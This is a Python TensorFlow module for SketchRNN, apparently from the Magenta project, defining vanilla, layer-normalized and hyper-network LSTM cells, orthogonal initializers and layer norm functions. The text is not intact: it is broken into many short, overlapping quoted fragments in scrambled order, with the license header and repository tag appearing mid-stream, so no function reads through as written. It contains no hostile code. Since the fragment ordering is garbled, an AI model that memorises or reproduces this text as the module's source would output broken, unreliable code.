zw, num_units, init_w='constant', weight_start=init_gamma", "or agreed to in writing, software # distributed under the", "'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output = gamma * (x_shifted) * inv_std", "garbage. # i = input_gate, j = new_input, f =", "Args: num_units: int, The number of units in the LSTM", "also uses recurrent dropout. Recommend turning this on only if", "HyperLSTM cell. hyper_num_units: int, number of units in HyperLSTM cell.", "= tf.matmul(concat, w_full) + bias i, j, f, o =", "init defined earlier.\"\"\" shape = x.get_shape().as_list() with tf.variable_scope(scope or 'linear'):", "probability (default 0.90) \"\"\" self.num_units = num_units self.forget_bias = forget_bias", "+ epsilon) output = (x - mean) / (std) return", "\"\"\"HyperLSTM with Ortho Init, Layer Norm, Recurrent Dropout, no Memory", "t[:, size_h * 2:size_h * 3] = orthogonal([size_x, size_h]) *", "compliance with the License. # You may obtain a copy", "2, 1) h_size = self.num_units x_size = x.get_shape().as_list()[1] batch_size =", "flat_shape = (shape[0], np.prod(shape[1:])) a = np.random.normal(0.0, 1.0, flat_shape) u,", "= gamma * (x_shifted) * inv_std if use_bias: output +=", "= tf.tanh(new_c) * tf.sigmoid(o) return new_h, tf.concat([new_c, new_h], 1) #", "fuk tuples. def layer_norm_all(h, batch_size, base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0,", "or 'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init = None # uniform", "// 4 # assumes lstm. t = np.zeros(shape) t[:, :size_h]", "cell. forget_bias: float, The bias added to forget gates (default", "gamma = tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta =", "h, c = tf.split(state, 2, 1) h_size = self.num_units x_size", "[4 * self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the input and hidden", "without garbage. # i = input_gate, j = new_input, f", "= forget_gate, o = output_gate concat = layer_norm_all(concat, batch_size, 4,", "as np import tensorflow.compat.v1 as tf from tensorflow.contrib import rnn", "not use this file except in compliance with the License.", "to use Recurrent Dropout (default False) dropout_keep_prob: float, dropout keep", "the LSTM cell. forget_bias: float, The bias added to forget", "tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) concat = tf.concat([x,", "tf.reduce_mean(x, axes, keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes,", "0) hidden = tf.matmul(concat, w_full) + bias i, j, f,", "* scale t[:, size_h:size_h * 2] = orthogonal([size_x, size_h]) *", "you may not use this file except in compliance with", "4 * self.num_units], initializer=h_init) bias = tf.get_variable( 'bias', [4 *", "float, The bias added to forget gates (default 1.0). use_recurrent_dropout:", "w_init = None # uniform h_init = lstm_ortho_initializer(1.0) # Keep", "bias = tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat =", "tf.matmul(concat, w_full) #+ bias # live life without garbage. #", "= tf.split(hyper_new_state, 2, 1) new_total_h = tf.concat([new_h, hyper_h], 1) new_total_c", "hyper_num_units: int, number of units in HyperLSTM cell. (default is", "def state_size(self): return 2 * self.num_units def get_output(self, state): h,", "= tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]], 1) batch_size = x.get_shape().as_list()[0]", "dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses ortho", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "import rnn as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape =", "= c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g", "w = tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init) if use_bias:", "initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) + b return tf.matmul(x, w) class", "orthogonal([size_x, size_h]) * scale t[:, size_h * 2:size_h * 3]", "= use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def state_size(self): return 2", "batch_size, 4, h_size, 'ln_all') i, j, f, o = tf.split(concat,", "return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None):", "input_size if init_w == 'zeros': w_init = tf.constant_initializer(0.0) elif init_w", "shape = x.get_shape().as_list() with tf.variable_scope(scope or 'linear'): if reuse: tf.get_variable_scope().reuse_variables()", "== 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho': w_init", "keep probability (default 0.90) \"\"\" self.num_units = num_units self.forget_bias =", "new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o) return new_h, tf.concat([new_h,", "print_function import numpy as np import tensorflow.compat.v1 as tf from", "tensorflow.compat.v1 as tf from tensorflow.contrib import rnn as contrib_rnn def", "xh = tf.matmul(x, w_xh) hh = tf.matmul(h, w_hh) # split", "return tf.constant(t, dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell.", "tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output = gamma * (x_shifted) *", "output def raw_layer_norm(x, epsilon=1e-3): axes = [1] mean = tf.reduce_mean(x,", "jx, fx, ox = tf.split(xh, 4, 1) ix = self.hyper_norm(ix,", "tf.rsqrt(var + epsilon) h_reshape = (h_reshape - mean) * rstd", "dropout without memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units, forget_bias=1.0,", "* self.num_units], initializer=h_init) concat = tf.concat([x, h], 1) # concat", "f = forget_gate, o = output_gate concat = layer_norm_all(concat, batch_size,", "split Wxh contributions ix, jx, fx, ox = tf.split(xh, 4,", "scope='hyper', use_bias=True): num_units = self.num_units embedding_size = self.hyper_embedding_size # recurrent", "else v return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape,", "output_size], tf.float32, initializer=w_init) if use_bias: b = tf.get_variable( 'super_linear_b', [output_size],", "+ jh + jb f = fx + fh +", "'hyper_ih', use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh = self.hyper_norm(fh,", "# Performs layer norm on multiple base at once (ie,", "to use different init methods. w_xh = tf.get_variable( 'W_xh', [x_size,", "= self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox", "tf.constant(orthogonal(shape) * scale, dtype) return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal", "init methods. w_xh = tf.get_variable( 'W_xh', [x_size, 4 * self.num_units],", "initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument size_x =", "fx, ox = tf.split(xh, 4, 1) ix = self.hyper_norm(ix, 'hyper_ix',", "tf.float32, initializer=w_init) if use_bias: b = tf.get_variable( 'super_linear_b', [output_size], tf.float32,", "h def __call__(self, x, state, scope=None): with tf.variable_scope(scope or type(self).__name__):", "int, size of signals emitted from HyperLSTM cell. (default is", "init_gamma = 0.10 # cooijmans' da man. with tf.variable_scope(scope): zw", "\"\"\"SketchRNN RNN definition.\"\"\" from __future__ import absolute_import from __future__ import", "h_init = lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh', [x_size, 4 *", "tf.concat([w_xh, w_hh], 0) hidden = tf.matmul(concat, w_full) + bias i,", "@property def input_size(self): return self.num_units @property def output_size(self): return self.num_units", "2019 The Magenta Authors. # # Licensed under the Apache", "x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init = None # uniform h_init", "larger values for large datasets) hyper_use_recurrent_dropout: boolean. (default False) Controls", "tf.split(state, 2, 1) h_size = self.num_units x_size = x.get_shape().as_list()[1] batch_size", "def hyper_norm(self, layer, scope='hyper', use_bias=True): num_units = self.num_units embedding_size =", "cell also uses recurrent dropout. Recommend turning this on only", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "x - mean var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std =", "return gamma * h + beta return gamma * h", "1) concat = layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all') i, j,", "* self.num_units def get_output(self, state): h, unused_c = tf.split(state, 2,", "__call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): total_h,", "4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g", "(h_reshape - mean) * rstd # reshape back to original", "self.num_units def get_output(self, state): h, unused_c = tf.split(state, 2, 1)", "import absolute_import from __future__ import division from __future__ import print_function", "use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear operation. Uses ortho init defined", "LSTM cell. forget_bias: float, The bias added to forget gates", "datasets) hyper_use_recurrent_dropout: boolean. (default False) Controls whether HyperLSTM cell also", "= hyper_new_state xh = tf.matmul(x, w_xh) hh = tf.matmul(h, w_hh)", "beta return output def raw_layer_norm(x, epsilon=1e-3): axes = [1] mean", "Keep W_xh and W_hh separate here as well to use", "num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return gamma * h + beta", "f = fx + fh + fb o = ox", "raw_layer_norm(x, epsilon=1e-3): axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True)", "[output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) + b return tf.matmul(x,", "file except in compliance with the License. # You may", "= [1] mean = tf.reduce_mean(x, axes, keep_dims=True) x_shifted = x", "division from __future__ import print_function import numpy as np import", "h], 1) # concat for speed. w_full = tf.concat([w_xh, w_hh],", "'hyper_oh', use_bias=True) # split bias ib, jb, fb, ob =", "for large datasets) hyper_use_recurrent_dropout: boolean. (default False) Controls whether HyperLSTM", "hyper_c], 1) new_total_state = tf.concat([new_total_h, new_total_c], 1) return new_h, new_total_state", "* self.num_units], initializer=w_init) w_hh = tf.get_variable( 'W_hh', [self.num_units, 4 *", "use_bias: return gamma * h + beta return gamma *", "if use_bias: return gamma * h + beta return gamma", "\"\"\"Performs linear operation. Uses ortho init defined earlier.\"\"\" shape =", "input_size is None: x_size = shape[1] else: x_size = input_size", "scale, dtype) return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def", "self.dropout_keep_prob = dropout_keep_prob @property def input_size(self): return self.num_units @property def", "da man. with tf.variable_scope(scope): zw = super_linear( self.hyper_output, embedding_size, init_w='constant',", "= tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) + epsilon) output", "initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument return tf.constant(orthogonal(shape)", "self.hyper_embedding_size # recurrent batch norm init trick (https://arxiv.org/abs/1603.09025). init_gamma =", "main LSTM & HyperLSTM cell. hyper_num_units: int, number of units", "batch_size = x.get_shape().as_list()[0] w_init = None # uniform h_init =", "= (shape[0], np.prod(shape[1:])) a = np.random.normal(0.0, 1.0, flat_shape) u, _,", "(x - mean) / (std) return output def super_linear(x, output_size,", "once (ie, i, g, j, o for lstm) # Reshapes", "w_init = lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32,", "= hyper_use_recurrent_dropout self.total_num_units = self.num_units + self.hyper_num_units if self.use_layer_norm: cell_fn", "def input_size(self): return self.num_units @property def output_size(self): return self.num_units @property", "o = tf.split(hidden, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j),", "tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(new_c)", "fb, ob = tf.split(bias, 4, 0) # bias is to", "KIND, either express or implied. # See the License for", "0:self.num_units] c = total_c[:, 0:self.num_units] self.hyper_state = tf.concat( [total_h[:, self.num_units:],", "self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split", "16, recommend trying larger values for large datasets) hyper_use_recurrent_dropout: boolean.", "parallel h_reshape = tf.reshape(h, [batch_size, base, num_units]) mean = tf.reduce_mean(h_reshape,", "* scale, dtype) return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\"", "= tf.tanh(j) new_c = c * tf.sigmoid(f + self.forget_bias) +", "var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std = tf.rsqrt(var + epsilon)", "initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [4 * num_units],", "(the \"License\"); # you may not use this file except", "u, _, v = np.linalg.svd(a, full_matrices=False) q = u if", "/ (std) return output def super_linear(x, output_size, scope=None, reuse=False, init_w='ortho',", "i, j, f, o = tf.split(hidden, 4, 1) if self.use_recurrent_dropout:", "W_xh and W_hh separate here as well to use different", "tf.split(hh, 4, 1) ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh =", "* self.num_units], initializer=h_init) bias = tf.get_variable( 'bias', [4 * self.num_units],", "bias_start=0.0, scope='zb') beta = super_linear( zb, num_units, init_w='constant', weight_start=0.00, use_bias=False,", "size_h * 2:size_h * 3] = orthogonal([size_x, size_h]) * scale", "= LayerNormLSTMCell else: cell_fn = LSTMCell self.hyper_cell = cell_fn( hyper_num_units,", "and also recurrent dropout without memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def", "# # Unless required by applicable law or agreed to", "= np.linalg.svd(a, full_matrices=False) q = u if u.shape == flat_shape", "use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split bias ib,", "use_recurrent_dropout: Whether to use Recurrent Dropout (default False) dropout_keep_prob: float,", "forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm LSTM cell. Args:", "LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init. and Recurrent Dropout without Memory", "self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx =", "+ ih + ib j = jx + jh +", "Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90,", "= tf.concat([w_xh, w_hh], 0) concat = tf.matmul(concat, w_full) #+ bias", "for larger tasks) hyper_embedding_size: int, size of signals emitted from", "cell. (default is 16, recommend trying larger values for large", "dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm HyperLSTM", "implied. # See the License for the specific language governing", "epsilon=1e-3): axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True) std", "/ embedding_size, use_bias=False, scope='alpha') result = tf.multiply(alpha, layer) if use_bias:", "definition.\"\"\" from __future__ import absolute_import from __future__ import division from", "contributions ix, jx, fx, ox = tf.split(xh, 4, 1) ix", "self._input_size @property def output_size(self): return self.num_units @property def state_size(self): return", "4 # assumes lstm. t = np.zeros(shape) t[:, :size_h] =", "tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) bias = tf.get_variable(", "== 'ortho': w_init = lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w', [x_size,", "(ie, i, g, j, o for lstm) # Reshapes h", "tasks) hyper_embedding_size: int, size of signals emitted from HyperLSTM cell.", "or type(self).__name__): c, h = tf.split(state, 2, 1) x_size =", "+ fh + fb o = ox + oh +", "'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable(", "dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument size_x = shape[0] size_h =", "pylint: disable=unused-argument size_x = shape[0] size_h = shape[1] // 4", "scale t[:, size_h * 2:size_h * 3] = orthogonal([size_x, size_h])", "* tf.sigmoid(o) return new_h, tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM", "layer, scope='hyper', use_bias=True): num_units = self.num_units embedding_size = self.hyper_embedding_size #", "output_gate i = ix + ih + ib j =", "loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units", "'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init = None # uniform if", "# cooijmans' da man. with tf.variable_scope(scope): zw = super_linear( self.hyper_output,", "scale t[:, size_h:size_h * 2] = orthogonal([size_x, size_h]) * scale", "* rstd # reshape back to original h = tf.reshape(h_reshape,", "(default False) dropout_keep_prob: float, dropout keep probability (default 0.90) \"\"\"", "not using defun).\"\"\" # Performs layer norm on multiple base", "orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument size_x", "self.num_units @property def state_size(self): return 2 * self.total_num_units def get_output(self,", "num_units, init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha') result = tf.multiply(alpha,", "4, 1) ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx = self.hyper_norm(jx,", "Unless required by applicable law or agreed to in writing,", "self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units = self.num_units +", "= tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x,", "limitations under the License. \"\"\"SketchRNN RNN definition.\"\"\" from __future__ import", "use_bias: b = tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x,", "2:size_h * 3] = orthogonal([size_x, size_h]) * scale t[:, size_h", "the specific language governing permissions and # limitations under the", "def output_size(self): return self.num_units def get_output(self, state): unused_c, h =", "self.total_num_units = self.num_units + self.hyper_num_units if self.use_layer_norm: cell_fn = LayerNormLSTMCell", "else: cell_fn = LSTMCell self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob)", "cell_fn = LSTMCell self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property", "def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument size_x = shape[0]", "new_input, f = forget_gate, o = output_gate concat = layer_norm_all(concat,", "man. with tf.variable_scope(scope): zw = super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00,", "= orthogonal([size_x, size_h]) * scale t[:, size_h:size_h * 2] =", "state): h, unused_c = tf.split(state, 2, 1) return h def", "gamma * h + beta return gamma * h def", "hyper_new_state xh = tf.matmul(x, w_xh) hh = tf.matmul(h, w_hh) #", "# Copyright 2019 The Magenta Authors. # # Licensed under", "tf.variable_scope(scope): zw = super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0,", "g = tf.tanh(j) new_c = c * tf.sigmoid(f + self.forget_bias)", "initializer=w_init) if use_bias: b = tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start))", "output_size(self): return self.num_units @property def state_size(self): return 2 * self.total_num_units", "total_c[:, 0:self.num_units] self.hyper_state = tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]], 1)", "cell. Uses ortho initializer, and also recurrent dropout without memory", "- Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory Loss", "use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm", "use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return self._input_size @property def output_size(self):", "ortho init defined earlier.\"\"\" shape = x.get_shape().as_list() with tf.variable_scope(scope or", "1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g =", "# Reshapes h in to perform layer norm in parallel", "= tf.reduce_mean(x, axes, keep_dims=True) x_shifted = x - mean var", "4, 1) ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh = self.hyper_norm(jh,", "(faster version, but not using defun).\"\"\" # Performs layer norm", "self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox =", "total_c[:, self.num_units:]], 1) batch_size = x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size", "self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g = tf.tanh(j) new_c", "http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256,", "\"\"\"Layer Norm (faster version, but not using defun).\"\"\" # Performs", "& HyperLSTM cell. hyper_num_units: int, number of units in HyperLSTM", "x, state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): h, c", "+ self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(new_c) *", "\"\"\"Layer-Norm, with Ortho Init. and Recurrent Dropout without Memory Loss.", "\"\"\"Calculate layer norm.\"\"\" axes = [1] mean = tf.reduce_mean(x, axes,", "dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm LSTM cell. Args: num_units: int,", "epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes = [1] mean =", "new_h], 1) # fuk tuples. def layer_norm_all(h, batch_size, base, num_units,", "w_init = tf.constant_initializer(0.0) elif init_w == 'constant': w_init = tf.constant_initializer(weight_start)", "Recurrent Dropout (default False) dropout_keep_prob: float, dropout keep probability (default", "whether HyperLSTM cell also uses recurrent dropout. Recommend turning this", "_initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None):", "Copyright 2019 The Magenta Authors. # # Licensed under the", "Loss \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the", "hyper_norm(self, layer, scope='hyper', use_bias=True): num_units = self.num_units embedding_size = self.hyper_embedding_size", "'ortho': w_init = lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w', [x_size, output_size],", "tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init, Layer", "absolute_import from __future__ import division from __future__ import print_function import", "= (h_reshape - mean) * rstd # reshape back to", "experimenting with 256 for larger tasks) hyper_embedding_size: int, size of", "w_xh) hh = tf.matmul(h, w_hh) # split Wxh contributions ix,", "def layer_norm_all(h, batch_size, base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True):", "(shape[0], np.prod(shape[1:])) a = np.random.normal(0.0, 1.0, flat_shape) u, _, v", "4 * self.num_units], initializer=h_init) concat = tf.concat([x, h], 1) #", "https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory Loss \"\"\" def __init__(self,", "fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True)", "__future__ import division from __future__ import print_function import numpy as", "+ tf.sigmoid(i) * g new_h = tf.tanh(new_c) * tf.sigmoid(o) return", "h = tf.split(state, 2, 1) return h def __call__(self, x,", "g new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c", "You may obtain a copy of the License at #", "h], 1) w_full = tf.concat([w_xh, w_hh], 0) hidden = tf.matmul(concat,", "w_xh = tf.get_variable( 'W_xh', [x_size, 4 * self.num_units], initializer=w_init) w_hh", "(default is 16, recommend trying larger values for large datasets)", "state): total_h, unused_total_c = tf.split(state, 2, 1) h = total_h[:,", "type(self).__name__): h, c = tf.split(state, 2, 1) h_size = self.num_units", "num_units = self.num_units embedding_size = self.hyper_embedding_size # recurrent batch norm", "\"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32,", "None: x_size = shape[1] else: x_size = input_size if init_w", "bias = tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate", "+ bias i, j, f, o = tf.split(hidden, 4, 1)", "'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) bias = tf.get_variable( 'bias',", "= tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) +", "+ ib j = jx + jh + jb f", "= tf.split(state, 2, 1) h_size = self.num_units x_size = x.get_shape().as_list()[1]", "with tf.variable_scope(scope or type(self).__name__): total_h, total_c = tf.split(state, 2, 1)", "= tf.constant(epsilon) rstd = tf.rsqrt(var + epsilon) h_reshape = (h_reshape", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "(https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units =", "result def __call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope or", "Layer Norm, Recurrent Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\"", "num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes", "tf.sigmoid(o) return new_h, tf.concat([new_c, new_h], 1) # fuk tuples. def", "import tensorflow.compat.v1 as tf from tensorflow.contrib import rnn as contrib_rnn", "self._input_size = x_size w_init = None # uniform h_init =", "The bias added to forget gates (default 1.0). use_recurrent_dropout: Whether", "dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size = hyper_embedding_size", "2] = orthogonal([size_x, size_h]) * scale t[:, size_h * 2:size_h", "LSTM cell. Args: num_units: int, The number of units in", "tf.concat([x, h], 1) # concat for speed. w_full = tf.concat([w_xh,", "= self.hyper_embedding_size # recurrent batch norm init trick (https://arxiv.org/abs/1603.09025). init_gamma", "beta return gamma * h def layer_norm(x, num_units, scope='layer_norm', reuse=False,", "1) ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx',", "fb o = ox + oh + ob if self.use_layer_norm:", "= tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g = tf.tanh(j) new_c = c", "self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the input and hidden states for", "tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state, 2,", "with tf.variable_scope(scope or type(self).__name__): c, h = tf.split(state, 2, 1)", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "return new_h, tf.concat([new_c, new_h], 1) # fuk tuples. def layer_norm_all(h,", "tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start)) if", "License. # You may obtain a copy of the License", "Magenta Authors. # # Licensed under the Apache License, Version", "tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta", "i = input_gate, j = new_input, f = forget_gate, o", "layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all') i, j, f, o =", "f, o = tf.split(concat, 4, 1) if self.use_recurrent_dropout: g =", "h = tf.reshape(h_reshape, [batch_size, base * num_units]) with tf.variable_scope(scope): if", "probability (default 0.90) use_layer_norm: boolean. (default True) Controls whether we", "'hyper_ox', use_bias=False) # split Whh contributions ih, jh, fh, oh", "Ortho Init. and Recurrent Dropout without Memory Loss. https://arxiv.org/abs/1607.06450 -", "# concatenate the input and hidden states for hyperlstm input", "2, 1) h = total_h[:, 0:self.num_units] c = total_c[:, 0:self.num_units]", "w) + b return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with", "4 * self.num_units], initializer=w_init) w_hh = tf.get_variable( 'W_hh', [self.num_units, 4", "tf from tensorflow.contrib import rnn as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal", "scope='alpha') result = tf.multiply(alpha, layer) if use_bias: zb = super_linear(", "total_c = tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] c", "<reponame>laurens-in/magenta # Copyright 2019 The Magenta Authors. # # Licensed", "tf.reshape(h_reshape, [batch_size, base * num_units]) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables()", "initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:])) a = np.random.normal(0.0, 1.0, flat_shape)", "Dropout without Memory Loss \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False,", "elif init_w == 'ortho': w_init = lstm_ortho_initializer(1.0) w = tf.get_variable(", "tf.variable_scope(scope or type(self).__name__): total_h, total_c = tf.split(state, 2, 1) h", "tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the input", "def state_size(self): return 2 * self.total_num_units def get_output(self, state): total_h,", "embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta = super_linear( zb,", "ob = tf.split(bias, 4, 0) # bias is to be", "return 2 * self.total_num_units def get_output(self, state): total_h, unused_total_c =", "and Recurrent Dropout without Memory Loss. https://arxiv.org/abs/1607.06450 - Layer Norm", "self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units = self.num_units + self.hyper_num_units if self.use_layer_norm:", "def 